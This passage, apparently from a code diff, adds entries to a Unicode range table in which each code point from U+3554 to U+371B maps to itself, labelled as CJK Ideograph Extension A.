+ ["\u3554", "\u3554"], /* CJK Ideograph Extension A */
+ ["\u3555", "\u3555"], /* CJK Ideograph Extension A */
+ ["\u3556", "\u3556"], /* CJK Ideograph Extension A */
+ ["\u3557", "\u3557"], /* CJK Ideograph Extension A */
+ ["\u3558", "\u3558"], /* CJK Ideograph Extension A */
+ ["\u3559", "\u3559"], /* CJK Ideograph Extension A */
+ ["\u355A", "\u355A"], /* CJK Ideograph Extension A */
+ ["\u355B", "\u355B"], /* CJK Ideograph Extension A */
+ ["\u355C", "\u355C"], /* CJK Ideograph Extension A */
+ ["\u355D", "\u355D"], /* CJK Ideograph Extension A */
+ ["\u355E", "\u355E"], /* CJK Ideograph Extension A */
+ ["\u355F", "\u355F"], /* CJK Ideograph Extension A */
+ ["\u3560", "\u3560"], /* CJK Ideograph Extension A */
+ ["\u3561", "\u3561"], /* CJK Ideograph Extension A */
+ ["\u3562", "\u3562"], /* CJK Ideograph Extension A */
+ ["\u3563", "\u3563"], /* CJK Ideograph Extension A */
+ ["\u3564", "\u3564"], /* CJK Ideograph Extension A */
+ ["\u3565", "\u3565"], /* CJK Ideograph Extension A */
+ ["\u3566", "\u3566"], /* CJK Ideograph Extension A */
+ ["\u3567", "\u3567"], /* CJK Ideograph Extension A */
+ ["\u3568", "\u3568"], /* CJK Ideograph Extension A */
+ ["\u3569", "\u3569"], /* CJK Ideograph Extension A */
+ ["\u356A", "\u356A"], /* CJK Ideograph Extension A */
+ ["\u356B", "\u356B"], /* CJK Ideograph Extension A */
+ ["\u356C", "\u356C"], /* CJK Ideograph Extension A */
+ ["\u356D", "\u356D"], /* CJK Ideograph Extension A */
+ ["\u356E", "\u356E"], /* CJK Ideograph Extension A */
+ ["\u356F", "\u356F"], /* CJK Ideograph Extension A */
+ ["\u3570", "\u3570"], /* CJK Ideograph Extension A */
+ ["\u3571", "\u3571"], /* CJK Ideograph Extension A */
+ ["\u3572", "\u3572"], /* CJK Ideograph Extension A */
+ ["\u3573", "\u3573"], /* CJK Ideograph Extension A */
+ ["\u3574", "\u3574"], /* CJK Ideograph Extension A */
+ ["\u3575", "\u3575"], /* CJK Ideograph Extension A */
+ ["\u3576", "\u3576"], /* CJK Ideograph Extension A */
+ ["\u3577", "\u3577"], /* CJK Ideograph Extension A */
+ ["\u3578", "\u3578"], /* CJK Ideograph Extension A */
+ ["\u3579", "\u3579"], /* CJK Ideograph Extension A */
+ ["\u357A", "\u357A"], /* CJK Ideograph Extension A */
+ ["\u357B", "\u357B"], /* CJK Ideograph Extension A */
+ ["\u357C", "\u357C"], /* CJK Ideograph Extension A */
+ ["\u357D", "\u357D"], /* CJK Ideograph Extension A */
+ ["\u357E", "\u357E"], /* CJK Ideograph Extension A */
+ ["\u357F", "\u357F"], /* CJK Ideograph Extension A */
+ ["\u3580", "\u3580"], /* CJK Ideograph Extension A */
+ ["\u3581", "\u3581"], /* CJK Ideograph Extension A */
+ ["\u3582", "\u3582"], /* CJK Ideograph Extension A */
+ ["\u3583", "\u3583"], /* CJK Ideograph Extension A */
+ ["\u3584", "\u3584"], /* CJK Ideograph Extension A */
+ ["\u3585", "\u3585"], /* CJK Ideograph Extension A */
+ ["\u3586", "\u3586"], /* CJK Ideograph Extension A */
+ ["\u3587", "\u3587"], /* CJK Ideograph Extension A */
+ ["\u3588", "\u3588"], /* CJK Ideograph Extension A */
+ ["\u3589", "\u3589"], /* CJK Ideograph Extension A */
+ ["\u358A", "\u358A"], /* CJK Ideograph Extension A */
+ ["\u358B", "\u358B"], /* CJK Ideograph Extension A */
+ ["\u358C", "\u358C"], /* CJK Ideograph Extension A */
+ ["\u358D", "\u358D"], /* CJK Ideograph Extension A */
+ ["\u358E", "\u358E"], /* CJK Ideograph Extension A */
+ ["\u358F", "\u358F"], /* CJK Ideograph Extension A */
+ ["\u3590", "\u3590"], /* CJK Ideograph Extension A */
+ ["\u3591", "\u3591"], /* CJK Ideograph Extension A */
+ ["\u3592", "\u3592"], /* CJK Ideograph Extension A */
+ ["\u3593", "\u3593"], /* CJK Ideograph Extension A */
+ ["\u3594", "\u3594"], /* CJK Ideograph Extension A */
+ ["\u3595", "\u3595"], /* CJK Ideograph Extension A */
+ ["\u3596", "\u3596"], /* CJK Ideograph Extension A */
+ ["\u3597", "\u3597"], /* CJK Ideograph Extension A */
+ ["\u3598", "\u3598"], /* CJK Ideograph Extension A */
+ ["\u3599", "\u3599"], /* CJK Ideograph Extension A */
+ ["\u359A", "\u359A"], /* CJK Ideograph Extension A */
+ ["\u359B", "\u359B"], /* CJK Ideograph Extension A */
+ ["\u359C", "\u359C"], /* CJK Ideograph Extension A */
+ ["\u359D", "\u359D"], /* CJK Ideograph Extension A */
+ ["\u359E", "\u359E"], /* CJK Ideograph Extension A */
+ ["\u359F", "\u359F"], /* CJK Ideograph Extension A */
+ ["\u35A0", "\u35A0"], /* CJK Ideograph Extension A */
+ ["\u35A1", "\u35A1"], /* CJK Ideograph Extension A */
+ ["\u35A2", "\u35A2"], /* CJK Ideograph Extension A */
+ ["\u35A3", "\u35A3"], /* CJK Ideograph Extension A */
+ ["\u35A4", "\u35A4"], /* CJK Ideograph Extension A */
+ ["\u35A5", "\u35A5"], /* CJK Ideograph Extension A */
+ ["\u35A6", "\u35A6"], /* CJK Ideograph Extension A */
+ ["\u35A7", "\u35A7"], /* CJK Ideograph Extension A */
+ ["\u35A8", "\u35A8"], /* CJK Ideograph Extension A */
+ ["\u35A9", "\u35A9"], /* CJK Ideograph Extension A */
+ ["\u35AA", "\u35AA"], /* CJK Ideograph Extension A */
+ ["\u35AB", "\u35AB"], /* CJK Ideograph Extension A */
+ ["\u35AC", "\u35AC"], /* CJK Ideograph Extension A */
+ ["\u35AD", "\u35AD"], /* CJK Ideograph Extension A */
+ ["\u35AE", "\u35AE"], /* CJK Ideograph Extension A */
+ ["\u35AF", "\u35AF"], /* CJK Ideograph Extension A */
+ ["\u35B0", "\u35B0"], /* CJK Ideograph Extension A */
+ ["\u35B1", "\u35B1"], /* CJK Ideograph Extension A */
+ ["\u35B2", "\u35B2"], /* CJK Ideograph Extension A */
+ ["\u35B3", "\u35B3"], /* CJK Ideograph Extension A */
+ ["\u35B4", "\u35B4"], /* CJK Ideograph Extension A */
+ ["\u35B5", "\u35B5"], /* CJK Ideograph Extension A */
+ ["\u35B6", "\u35B6"], /* CJK Ideograph Extension A */
+ ["\u35B7", "\u35B7"], /* CJK Ideograph Extension A */
+ ["\u35B8", "\u35B8"], /* CJK Ideograph Extension A */
+ ["\u35B9", "\u35B9"], /* CJK Ideograph Extension A */
+ ["\u35BA", "\u35BA"], /* CJK Ideograph Extension A */
+ ["\u35BB", "\u35BB"], /* CJK Ideograph Extension A */
+ ["\u35BC", "\u35BC"], /* CJK Ideograph Extension A */
+ ["\u35BD", "\u35BD"], /* CJK Ideograph Extension A */
+ ["\u35BE", "\u35BE"], /* CJK Ideograph Extension A */
+ ["\u35BF", "\u35BF"], /* CJK Ideograph Extension A */
+ ["\u35C0", "\u35C0"], /* CJK Ideograph Extension A */
+ ["\u35C1", "\u35C1"], /* CJK Ideograph Extension A */
+ ["\u35C2", "\u35C2"], /* CJK Ideograph Extension A */
+ ["\u35C3", "\u35C3"], /* CJK Ideograph Extension A */
+ ["\u35C4", "\u35C4"], /* CJK Ideograph Extension A */
+ ["\u35C5", "\u35C5"], /* CJK Ideograph Extension A */
+ ["\u35C6", "\u35C6"], /* CJK Ideograph Extension A */
+ ["\u35C7", "\u35C7"], /* CJK Ideograph Extension A */
+ ["\u35C8", "\u35C8"], /* CJK Ideograph Extension A */
+ ["\u35C9", "\u35C9"], /* CJK Ideograph Extension A */
+ ["\u35CA", "\u35CA"], /* CJK Ideograph Extension A */
+ ["\u35CB", "\u35CB"], /* CJK Ideograph Extension A */
+ ["\u35CC", "\u35CC"], /* CJK Ideograph Extension A */
+ ["\u35CD", "\u35CD"], /* CJK Ideograph Extension A */
+ ["\u35CE", "\u35CE"], /* CJK Ideograph Extension A */
+ ["\u35CF", "\u35CF"], /* CJK Ideograph Extension A */
+ ["\u35D0", "\u35D0"], /* CJK Ideograph Extension A */
+ ["\u35D1", "\u35D1"], /* CJK Ideograph Extension A */
+ ["\u35D2", "\u35D2"], /* CJK Ideograph Extension A */
+ ["\u35D3", "\u35D3"], /* CJK Ideograph Extension A */
+ ["\u35D4", "\u35D4"], /* CJK Ideograph Extension A */
+ ["\u35D5", "\u35D5"], /* CJK Ideograph Extension A */
+ ["\u35D6", "\u35D6"], /* CJK Ideograph Extension A */
+ ["\u35D7", "\u35D7"], /* CJK Ideograph Extension A */
+ ["\u35D8", "\u35D8"], /* CJK Ideograph Extension A */
+ ["\u35D9", "\u35D9"], /* CJK Ideograph Extension A */
+ ["\u35DA", "\u35DA"], /* CJK Ideograph Extension A */
+ ["\u35DB", "\u35DB"], /* CJK Ideograph Extension A */
+ ["\u35DC", "\u35DC"], /* CJK Ideograph Extension A */
+ ["\u35DD", "\u35DD"], /* CJK Ideograph Extension A */
+ ["\u35DE", "\u35DE"], /* CJK Ideograph Extension A */
+ ["\u35DF", "\u35DF"], /* CJK Ideograph Extension A */
+ ["\u35E0", "\u35E0"], /* CJK Ideograph Extension A */
+ ["\u35E1", "\u35E1"], /* CJK Ideograph Extension A */
+ ["\u35E2", "\u35E2"], /* CJK Ideograph Extension A */
+ ["\u35E3", "\u35E3"], /* CJK Ideograph Extension A */
+ ["\u35E4", "\u35E4"], /* CJK Ideograph Extension A */
+ ["\u35E5", "\u35E5"], /* CJK Ideograph Extension A */
+ ["\u35E6", "\u35E6"], /* CJK Ideograph Extension A */
+ ["\u35E7", "\u35E7"], /* CJK Ideograph Extension A */
+ ["\u35E8", "\u35E8"], /* CJK Ideograph Extension A */
+ ["\u35E9", "\u35E9"], /* CJK Ideograph Extension A */
+ ["\u35EA", "\u35EA"], /* CJK Ideograph Extension A */
+ ["\u35EB", "\u35EB"], /* CJK Ideograph Extension A */
+ ["\u35EC", "\u35EC"], /* CJK Ideograph Extension A */
+ ["\u35ED", "\u35ED"], /* CJK Ideograph Extension A */
+ ["\u35EE", "\u35EE"], /* CJK Ideograph Extension A */
+ ["\u35EF", "\u35EF"], /* CJK Ideograph Extension A */
+ ["\u35F0", "\u35F0"], /* CJK Ideograph Extension A */
+ ["\u35F1", "\u35F1"], /* CJK Ideograph Extension A */
+ ["\u35F2", "\u35F2"], /* CJK Ideograph Extension A */
+ ["\u35F3", "\u35F3"], /* CJK Ideograph Extension A */
+ ["\u35F4", "\u35F4"], /* CJK Ideograph Extension A */
+ ["\u35F5", "\u35F5"], /* CJK Ideograph Extension A */
+ ["\u35F6", "\u35F6"], /* CJK Ideograph Extension A */
+ ["\u35F7", "\u35F7"], /* CJK Ideograph Extension A */
+ ["\u35F8", "\u35F8"], /* CJK Ideograph Extension A */
+ ["\u35F9", "\u35F9"], /* CJK Ideograph Extension A */
+ ["\u35FA", "\u35FA"], /* CJK Ideograph Extension A */
+ ["\u35FB", "\u35FB"], /* CJK Ideograph Extension A */
+ ["\u35FC", "\u35FC"], /* CJK Ideograph Extension A */
+ ["\u35FD", "\u35FD"], /* CJK Ideograph Extension A */
+ ["\u35FE", "\u35FE"], /* CJK Ideograph Extension A */
+ ["\u35FF", "\u35FF"], /* CJK Ideograph Extension A */
+ ["\u3600", "\u3600"], /* CJK Ideograph Extension A */
+ ["\u3601", "\u3601"], /* CJK Ideograph Extension A */
+ ["\u3602", "\u3602"], /* CJK Ideograph Extension A */
+ ["\u3603", "\u3603"], /* CJK Ideograph Extension A */
+ ["\u3604", "\u3604"], /* CJK Ideograph Extension A */
+ ["\u3605", "\u3605"], /* CJK Ideograph Extension A */
+ ["\u3606", "\u3606"], /* CJK Ideograph Extension A */
+ ["\u3607", "\u3607"], /* CJK Ideograph Extension A */
+ ["\u3608", "\u3608"], /* CJK Ideograph Extension A */
+ ["\u3609", "\u3609"], /* CJK Ideograph Extension A */
+ ["\u360A", "\u360A"], /* CJK Ideograph Extension A */
+ ["\u360B", "\u360B"], /* CJK Ideograph Extension A */
+ ["\u360C", "\u360C"], /* CJK Ideograph Extension A */
+ ["\u360D", "\u360D"], /* CJK Ideograph Extension A */
+ ["\u360E", "\u360E"], /* CJK Ideograph Extension A */
+ ["\u360F", "\u360F"], /* CJK Ideograph Extension A */
+ ["\u3610", "\u3610"], /* CJK Ideograph Extension A */
+ ["\u3611", "\u3611"], /* CJK Ideograph Extension A */
+ ["\u3612", "\u3612"], /* CJK Ideograph Extension A */
+ ["\u3613", "\u3613"], /* CJK Ideograph Extension A */
+ ["\u3614", "\u3614"], /* CJK Ideograph Extension A */
+ ["\u3615", "\u3615"], /* CJK Ideograph Extension A */
+ ["\u3616", "\u3616"], /* CJK Ideograph Extension A */
+ ["\u3617", "\u3617"], /* CJK Ideograph Extension A */
+ ["\u3618", "\u3618"], /* CJK Ideograph Extension A */
+ ["\u3619", "\u3619"], /* CJK Ideograph Extension A */
+ ["\u361A", "\u361A"], /* CJK Ideograph Extension A */
+ ["\u361B", "\u361B"], /* CJK Ideograph Extension A */
+ ["\u361C", "\u361C"], /* CJK Ideograph Extension A */
+ ["\u361D", "\u361D"], /* CJK Ideograph Extension A */
+ ["\u361E", "\u361E"], /* CJK Ideograph Extension A */
+ ["\u361F", "\u361F"], /* CJK Ideograph Extension A */
+ ["\u3620", "\u3620"], /* CJK Ideograph Extension A */
+ ["\u3621", "\u3621"], /* CJK Ideograph Extension A */
+ ["\u3622", "\u3622"], /* CJK Ideograph Extension A */
+ ["\u3623", "\u3623"], /* CJK Ideograph Extension A */
+ ["\u3624", "\u3624"], /* CJK Ideograph Extension A */
+ ["\u3625", "\u3625"], /* CJK Ideograph Extension A */
+ ["\u3626", "\u3626"], /* CJK Ideograph Extension A */
+ ["\u3627", "\u3627"], /* CJK Ideograph Extension A */
+ ["\u3628", "\u3628"], /* CJK Ideograph Extension A */
+ ["\u3629", "\u3629"], /* CJK Ideograph Extension A */
+ ["\u362A", "\u362A"], /* CJK Ideograph Extension A */
+ ["\u362B", "\u362B"], /* CJK Ideograph Extension A */
+ ["\u362C", "\u362C"], /* CJK Ideograph Extension A */
+ ["\u362D", "\u362D"], /* CJK Ideograph Extension A */
+ ["\u362E", "\u362E"], /* CJK Ideograph Extension A */
+ ["\u362F", "\u362F"], /* CJK Ideograph Extension A */
+ ["\u3630", "\u3630"], /* CJK Ideograph Extension A */
+ ["\u3631", "\u3631"], /* CJK Ideograph Extension A */
+ ["\u3632", "\u3632"], /* CJK Ideograph Extension A */
+ ["\u3633", "\u3633"], /* CJK Ideograph Extension A */
+ ["\u3634", "\u3634"], /* CJK Ideograph Extension A */
+ ["\u3635", "\u3635"], /* CJK Ideograph Extension A */
+ ["\u3636", "\u3636"], /* CJK Ideograph Extension A */
+ ["\u3637", "\u3637"], /* CJK Ideograph Extension A */
+ ["\u3638", "\u3638"], /* CJK Ideograph Extension A */
+ ["\u3639", "\u3639"], /* CJK Ideograph Extension A */
+ ["\u363A", "\u363A"], /* CJK Ideograph Extension A */
+ ["\u363B", "\u363B"], /* CJK Ideograph Extension A */
+ ["\u363C", "\u363C"], /* CJK Ideograph Extension A */
+ ["\u363D", "\u363D"], /* CJK Ideograph Extension A */
+ ["\u363E", "\u363E"], /* CJK Ideograph Extension A */
+ ["\u363F", "\u363F"], /* CJK Ideograph Extension A */
+ ["\u3640", "\u3640"], /* CJK Ideograph Extension A */
+ ["\u3641", "\u3641"], /* CJK Ideograph Extension A */
+ ["\u3642", "\u3642"], /* CJK Ideograph Extension A */
+ ["\u3643", "\u3643"], /* CJK Ideograph Extension A */
+ ["\u3644", "\u3644"], /* CJK Ideograph Extension A */
+ ["\u3645", "\u3645"], /* CJK Ideograph Extension A */
+ ["\u3646", "\u3646"], /* CJK Ideograph Extension A */
+ ["\u3647", "\u3647"], /* CJK Ideograph Extension A */
+ ["\u3648", "\u3648"], /* CJK Ideograph Extension A */
+ ["\u3649", "\u3649"], /* CJK Ideograph Extension A */
+ ["\u364A", "\u364A"], /* CJK Ideograph Extension A */
+ ["\u364B", "\u364B"], /* CJK Ideograph Extension A */
+ ["\u364C", "\u364C"], /* CJK Ideograph Extension A */
+ ["\u364D", "\u364D"], /* CJK Ideograph Extension A */
+ ["\u364E", "\u364E"], /* CJK Ideograph Extension A */
+ ["\u364F", "\u364F"], /* CJK Ideograph Extension A */
+ ["\u3650", "\u3650"], /* CJK Ideograph Extension A */
+ ["\u3651", "\u3651"], /* CJK Ideograph Extension A */
+ ["\u3652", "\u3652"], /* CJK Ideograph Extension A */
+ ["\u3653", "\u3653"], /* CJK Ideograph Extension A */
+ ["\u3654", "\u3654"], /* CJK Ideograph Extension A */
+ ["\u3655", "\u3655"], /* CJK Ideograph Extension A */
+ ["\u3656", "\u3656"], /* CJK Ideograph Extension A */
+ ["\u3657", "\u3657"], /* CJK Ideograph Extension A */
+ ["\u3658", "\u3658"], /* CJK Ideograph Extension A */
+ ["\u3659", "\u3659"], /* CJK Ideograph Extension A */
+ ["\u365A", "\u365A"], /* CJK Ideograph Extension A */
+ ["\u365B", "\u365B"], /* CJK Ideograph Extension A */
+ ["\u365C", "\u365C"], /* CJK Ideograph Extension A */
+ ["\u365D", "\u365D"], /* CJK Ideograph Extension A */
+ ["\u365E", "\u365E"], /* CJK Ideograph Extension A */
+ ["\u365F", "\u365F"], /* CJK Ideograph Extension A */
+ ["\u3660", "\u3660"], /* CJK Ideograph Extension A */
+ ["\u3661", "\u3661"], /* CJK Ideograph Extension A */
+ ["\u3662", "\u3662"], /* CJK Ideograph Extension A */
+ ["\u3663", "\u3663"], /* CJK Ideograph Extension A */
+ ["\u3664", "\u3664"], /* CJK Ideograph Extension A */
+ ["\u3665", "\u3665"], /* CJK Ideograph Extension A */
+ ["\u3666", "\u3666"], /* CJK Ideograph Extension A */
+ ["\u3667", "\u3667"], /* CJK Ideograph Extension A */
+ ["\u3668", "\u3668"], /* CJK Ideograph Extension A */
+ ["\u3669", "\u3669"], /* CJK Ideograph Extension A */
+ ["\u366A", "\u366A"], /* CJK Ideograph Extension A */
+ ["\u366B", "\u366B"], /* CJK Ideograph Extension A */
+ ["\u366C", "\u366C"], /* CJK Ideograph Extension A */
+ ["\u366D", "\u366D"], /* CJK Ideograph Extension A */
+ ["\u366E", "\u366E"], /* CJK Ideograph Extension A */
+ ["\u366F", "\u366F"], /* CJK Ideograph Extension A */
+ ["\u3670", "\u3670"], /* CJK Ideograph Extension A */
+ ["\u3671", "\u3671"], /* CJK Ideograph Extension A */
+ ["\u3672", "\u3672"], /* CJK Ideograph Extension A */
+ ["\u3673", "\u3673"], /* CJK Ideograph Extension A */
+ ["\u3674", "\u3674"], /* CJK Ideograph Extension A */
+ ["\u3675", "\u3675"], /* CJK Ideograph Extension A */
+ ["\u3676", "\u3676"], /* CJK Ideograph Extension A */
+ ["\u3677", "\u3677"], /* CJK Ideograph Extension A */
+ ["\u3678", "\u3678"], /* CJK Ideograph Extension A */
+ ["\u3679", "\u3679"], /* CJK Ideograph Extension A */
+ ["\u367A", "\u367A"], /* CJK Ideograph Extension A */
+ ["\u367B", "\u367B"], /* CJK Ideograph Extension A */
+ ["\u367C", "\u367C"], /* CJK Ideograph Extension A */
+ ["\u367D", "\u367D"], /* CJK Ideograph Extension A */
+ ["\u367E", "\u367E"], /* CJK Ideograph Extension A */
+ ["\u367F", "\u367F"], /* CJK Ideograph Extension A */
+ ["\u3680", "\u3680"], /* CJK Ideograph Extension A */
+ ["\u3681", "\u3681"], /* CJK Ideograph Extension A */
+ ["\u3682", "\u3682"], /* CJK Ideograph Extension A */
+ ["\u3683", "\u3683"], /* CJK Ideograph Extension A */
+ ["\u3684", "\u3684"], /* CJK Ideograph Extension A */
+ ["\u3685", "\u3685"], /* CJK Ideograph Extension A */
+ ["\u3686", "\u3686"], /* CJK Ideograph Extension A */
+ ["\u3687", "\u3687"], /* CJK Ideograph Extension A */
+ ["\u3688", "\u3688"], /* CJK Ideograph Extension A */
+ ["\u3689", "\u3689"], /* CJK Ideograph Extension A */
+ ["\u368A", "\u368A"], /* CJK Ideograph Extension A */
+ ["\u368B", "\u368B"], /* CJK Ideograph Extension A */
+ ["\u368C", "\u368C"], /* CJK Ideograph Extension A */
+ ["\u368D", "\u368D"], /* CJK Ideograph Extension A */
+ ["\u368E", "\u368E"], /* CJK Ideograph Extension A */
+ ["\u368F", "\u368F"], /* CJK Ideograph Extension A */
+ ["\u3690", "\u3690"], /* CJK Ideograph Extension A */
+ ["\u3691", "\u3691"], /* CJK Ideograph Extension A */
+ ["\u3692", "\u3692"], /* CJK Ideograph Extension A */
+ ["\u3693", "\u3693"], /* CJK Ideograph Extension A */
+ ["\u3694", "\u3694"], /* CJK Ideograph Extension A */
+ ["\u3695", "\u3695"], /* CJK Ideograph Extension A */
+ ["\u3696", "\u3696"], /* CJK Ideograph Extension A */
+ ["\u3697", "\u3697"], /* CJK Ideograph Extension A */
+ ["\u3698", "\u3698"], /* CJK Ideograph Extension A */
+ ["\u3699", "\u3699"], /* CJK Ideograph Extension A */
+ ["\u369A", "\u369A"], /* CJK Ideograph Extension A */
+ ["\u369B", "\u369B"], /* CJK Ideograph Extension A */
+ ["\u369C", "\u369C"], /* CJK Ideograph Extension A */
+ ["\u369D", "\u369D"], /* CJK Ideograph Extension A */
+ ["\u369E", "\u369E"], /* CJK Ideograph Extension A */
+ ["\u369F", "\u369F"], /* CJK Ideograph Extension A */
+ ["\u36A0", "\u36A0"], /* CJK Ideograph Extension A */
+ ["\u36A1", "\u36A1"], /* CJK Ideograph Extension A */
+ ["\u36A2", "\u36A2"], /* CJK Ideograph Extension A */
+ ["\u36A3", "\u36A3"], /* CJK Ideograph Extension A */
+ ["\u36A4", "\u36A4"], /* CJK Ideograph Extension A */
+ ["\u36A5", "\u36A5"], /* CJK Ideograph Extension A */
+ ["\u36A6", "\u36A6"], /* CJK Ideograph Extension A */
+ ["\u36A7", "\u36A7"], /* CJK Ideograph Extension A */
+ ["\u36A8", "\u36A8"], /* CJK Ideograph Extension A */
+ ["\u36A9", "\u36A9"], /* CJK Ideograph Extension A */
+ ["\u36AA", "\u36AA"], /* CJK Ideograph Extension A */
+ ["\u36AB", "\u36AB"], /* CJK Ideograph Extension A */
+ ["\u36AC", "\u36AC"], /* CJK Ideograph Extension A */
+ ["\u36AD", "\u36AD"], /* CJK Ideograph Extension A */
+ ["\u36AE", "\u36AE"], /* CJK Ideograph Extension A */
+ ["\u36AF", "\u36AF"], /* CJK Ideograph Extension A */
+ ["\u36B0", "\u36B0"], /* CJK Ideograph Extension A */
+ ["\u36B1", "\u36B1"], /* CJK Ideograph Extension A */
+ ["\u36B2", "\u36B2"], /* CJK Ideograph Extension A */
+ ["\u36B3", "\u36B3"], /* CJK Ideograph Extension A */
+ ["\u36B4", "\u36B4"], /* CJK Ideograph Extension A */
+ ["\u36B5", "\u36B5"], /* CJK Ideograph Extension A */
+ ["\u36B6", "\u36B6"], /* CJK Ideograph Extension A */
+ ["\u36B7", "\u36B7"], /* CJK Ideograph Extension A */
+ ["\u36B8", "\u36B8"], /* CJK Ideograph Extension A */
+ ["\u36B9", "\u36B9"], /* CJK Ideograph Extension A */
+ ["\u36BA", "\u36BA"], /* CJK Ideograph Extension A */
+ ["\u36BB", "\u36BB"], /* CJK Ideograph Extension A */
+ ["\u36BC", "\u36BC"], /* CJK Ideograph Extension A */
+ ["\u36BD", "\u36BD"], /* CJK Ideograph Extension A */
+ ["\u36BE", "\u36BE"], /* CJK Ideograph Extension A */
+ ["\u36BF", "\u36BF"], /* CJK Ideograph Extension A */
+ ["\u36C0", "\u36C0"], /* CJK Ideograph Extension A */
+ ["\u36C1", "\u36C1"], /* CJK Ideograph Extension A */
+ ["\u36C2", "\u36C2"], /* CJK Ideograph Extension A */
+ ["\u36C3", "\u36C3"], /* CJK Ideograph Extension A */
+ ["\u36C4", "\u36C4"], /* CJK Ideograph Extension A */
+ ["\u36C5", "\u36C5"], /* CJK Ideograph Extension A */
+ ["\u36C6", "\u36C6"], /* CJK Ideograph Extension A */
+ ["\u36C7", "\u36C7"], /* CJK Ideograph Extension A */
+ ["\u36C8", "\u36C8"], /* CJK Ideograph Extension A */
+ ["\u36C9", "\u36C9"], /* CJK Ideograph Extension A */
+ ["\u36CA", "\u36CA"], /* CJK Ideograph Extension A */
+ ["\u36CB", "\u36CB"], /* CJK Ideograph Extension A */
+ ["\u36CC", "\u36CC"], /* CJK Ideograph Extension A */
+ ["\u36CD", "\u36CD"], /* CJK Ideograph Extension A */
+ ["\u36CE", "\u36CE"], /* CJK Ideograph Extension A */
+ ["\u36CF", "\u36CF"], /* CJK Ideograph Extension A */
+ ["\u36D0", "\u36D0"], /* CJK Ideograph Extension A */
+ ["\u36D1", "\u36D1"], /* CJK Ideograph Extension A */
+ ["\u36D2", "\u36D2"], /* CJK Ideograph Extension A */
+ ["\u36D3", "\u36D3"], /* CJK Ideograph Extension A */
+ ["\u36D4", "\u36D4"], /* CJK Ideograph Extension A */
+ ["\u36D5", "\u36D5"], /* CJK Ideograph Extension A */
+ ["\u36D6", "\u36D6"], /* CJK Ideograph Extension A */
+ ["\u36D7", "\u36D7"], /* CJK Ideograph Extension A */
+ ["\u36D8", "\u36D8"], /* CJK Ideograph Extension A */
+ ["\u36D9", "\u36D9"], /* CJK Ideograph Extension A */
+ ["\u36DA", "\u36DA"], /* CJK Ideograph Extension A */
+ ["\u36DB", "\u36DB"], /* CJK Ideograph Extension A */
+ ["\u36DC", "\u36DC"], /* CJK Ideograph Extension A */
+ ["\u36DD", "\u36DD"], /* CJK Ideograph Extension A */
+ ["\u36DE", "\u36DE"], /* CJK Ideograph Extension A */
+ ["\u36DF", "\u36DF"], /* CJK Ideograph Extension A */
+ ["\u36E0", "\u36E0"], /* CJK Ideograph Extension A */
+ ["\u36E1", "\u36E1"], /* CJK Ideograph Extension A */
+ ["\u36E2", "\u36E2"], /* CJK Ideograph Extension A */
+ ["\u36E3", "\u36E3"], /* CJK Ideograph Extension A */
+ ["\u36E4", "\u36E4"], /* CJK Ideograph Extension A */
+ ["\u36E5", "\u36E5"], /* CJK Ideograph Extension A */
+ ["\u36E6", "\u36E6"], /* CJK Ideograph Extension A */
+ ["\u36E7", "\u36E7"], /* CJK Ideograph Extension A */
+ ["\u36E8", "\u36E8"], /* CJK Ideograph Extension A */
+ ["\u36E9", "\u36E9"], /* CJK Ideograph Extension A */
+ ["\u36EA", "\u36EA"], /* CJK Ideograph Extension A */
+ ["\u36EB", "\u36EB"], /* CJK Ideograph Extension A */
+ ["\u36EC", "\u36EC"], /* CJK Ideograph Extension A */
+ ["\u36ED", "\u36ED"], /* CJK Ideograph Extension A */
+ ["\u36EE", "\u36EE"], /* CJK Ideograph Extension A */
+ ["\u36EF", "\u36EF"], /* CJK Ideograph Extension A */
+ ["\u36F0", "\u36F0"], /* CJK Ideograph Extension A */
+ ["\u36F1", "\u36F1"], /* CJK Ideograph Extension A */
+ ["\u36F2", "\u36F2"], /* CJK Ideograph Extension A */
+ ["\u36F3", "\u36F3"], /* CJK Ideograph Extension A */
+ ["\u36F4", "\u36F4"], /* CJK Ideograph Extension A */
+ ["\u36F5", "\u36F5"], /* CJK Ideograph Extension A */
+ ["\u36F6", "\u36F6"], /* CJK Ideograph Extension A */
+ ["\u36F7", "\u36F7"], /* CJK Ideograph Extension A */
+ ["\u36F8", "\u36F8"], /* CJK Ideograph Extension A */
+ ["\u36F9", "\u36F9"], /* CJK Ideograph Extension A */
+ ["\u36FA", "\u36FA"], /* CJK Ideograph Extension A */
+ ["\u36FB", "\u36FB"], /* CJK Ideograph Extension A */
+ ["\u36FC", "\u36FC"], /* CJK Ideograph Extension A */
+ ["\u36FD", "\u36FD"], /* CJK Ideograph Extension A */
+ ["\u36FE", "\u36FE"], /* CJK Ideograph Extension A */
+ ["\u36FF", "\u36FF"], /* CJK Ideograph Extension A */
+ ["\u3700", "\u3700"], /* CJK Ideograph Extension A */
+ ["\u3701", "\u3701"], /* CJK Ideograph Extension A */
+ ["\u3702", "\u3702"], /* CJK Ideograph Extension A */
+ ["\u3703", "\u3703"], /* CJK Ideograph Extension A */
+ ["\u3704", "\u3704"], /* CJK Ideograph Extension A */
+ ["\u3705", "\u3705"], /* CJK Ideograph Extension A */
+ ["\u3706", "\u3706"], /* CJK Ideograph Extension A */
+ ["\u3707", "\u3707"], /* CJK Ideograph Extension A */
+ ["\u3708", "\u3708"], /* CJK Ideograph Extension A */
+ ["\u3709", "\u3709"], /* CJK Ideograph Extension A */
+ ["\u370A", "\u370A"], /* CJK Ideograph Extension A */
+ ["\u370B", "\u370B"], /* CJK Ideograph Extension A */
+ ["\u370C", "\u370C"], /* CJK Ideograph Extension A */
+ ["\u370D", "\u370D"], /* CJK Ideograph Extension A */
+ ["\u370E", "\u370E"], /* CJK Ideograph Extension A */
+ ["\u370F", "\u370F"], /* CJK Ideograph Extension A */
+ ["\u3710", "\u3710"], /* CJK Ideograph Extension A */
+ ["\u3711", "\u3711"], /* CJK Ideograph Extension A */
+ ["\u3712", "\u3712"], /* CJK Ideograph Extension A */
+ ["\u3713", "\u3713"], /* CJK Ideograph Extension A */
+ ["\u3714", "\u3714"], /* CJK Ideograph Extension A */
+ ["\u3715", "\u3715"], /* CJK Ideograph Extension A */
+ ["\u3716", "\u3716"], /* CJK Ideograph Extension A */
+ ["\u3717", "\u3717"], /* CJK Ideograph Extension A */
+ ["\u3718", "\u3718"], /* CJK Ideograph Extension A */
+ ["\u3719", "\u3719"], /* CJK Ideograph Extension A */
+ ["\u371A", "\u371A"], /* CJK Ideograph Extension A */
+ ["\u371B", "\u371B"], /* CJK Ideograph Extension A */
